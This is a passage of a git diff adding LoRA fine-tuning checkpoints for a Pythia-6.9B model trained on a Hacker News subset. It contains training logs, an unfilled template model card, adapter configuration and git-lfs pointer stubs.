6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4.26037871640576e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..2469942e2b4c16e0c160c4383b93266ba1bba28a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8718ced941cea107acd4cd3d3bbb2b61a3689f26b7c853faea6b1965a0c19b3c +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..6f2ebde3fbe848ea326241506061d340a9924bd9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:646122336ea83d8bd2c038d79bf66b61cad92faeab96f54053f175fa71820132 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..ba62c782c818c1b90b0344e262a00bb91255dc87 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2af2c0de08ddef877a4af0e5f2dfe4570d2f029659f125fbfe3bbcce3a8b09e6 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..ed00d4e9803635011eee9bbdae275cac04953c1b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9b86f25c4fadc98da61c18896b4c25ab399b3a23b766274b50979d4340358b17 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..b84e9afc1da5fac7929e225cc2a3bd266baa5719 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/trainer_state.json @@ -0,0 +1,438 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.6, + "eval_steps": 10, + "global_step": 270, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4.42423943626752e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..052497ba292ee88666b81f760be36fe606fa2915 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0011f23de27571007dc7de3bfb7c1435822dc0157246e1e367385a8ccc7d87db +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..c3daba05c1bff9c453a6bd652e84dcbbe00477aa --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6f5bae220e7ba7d21c02763fd4171f88ccd982285941ecfbe68332b68fa3ccb5 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/rng_state.pth 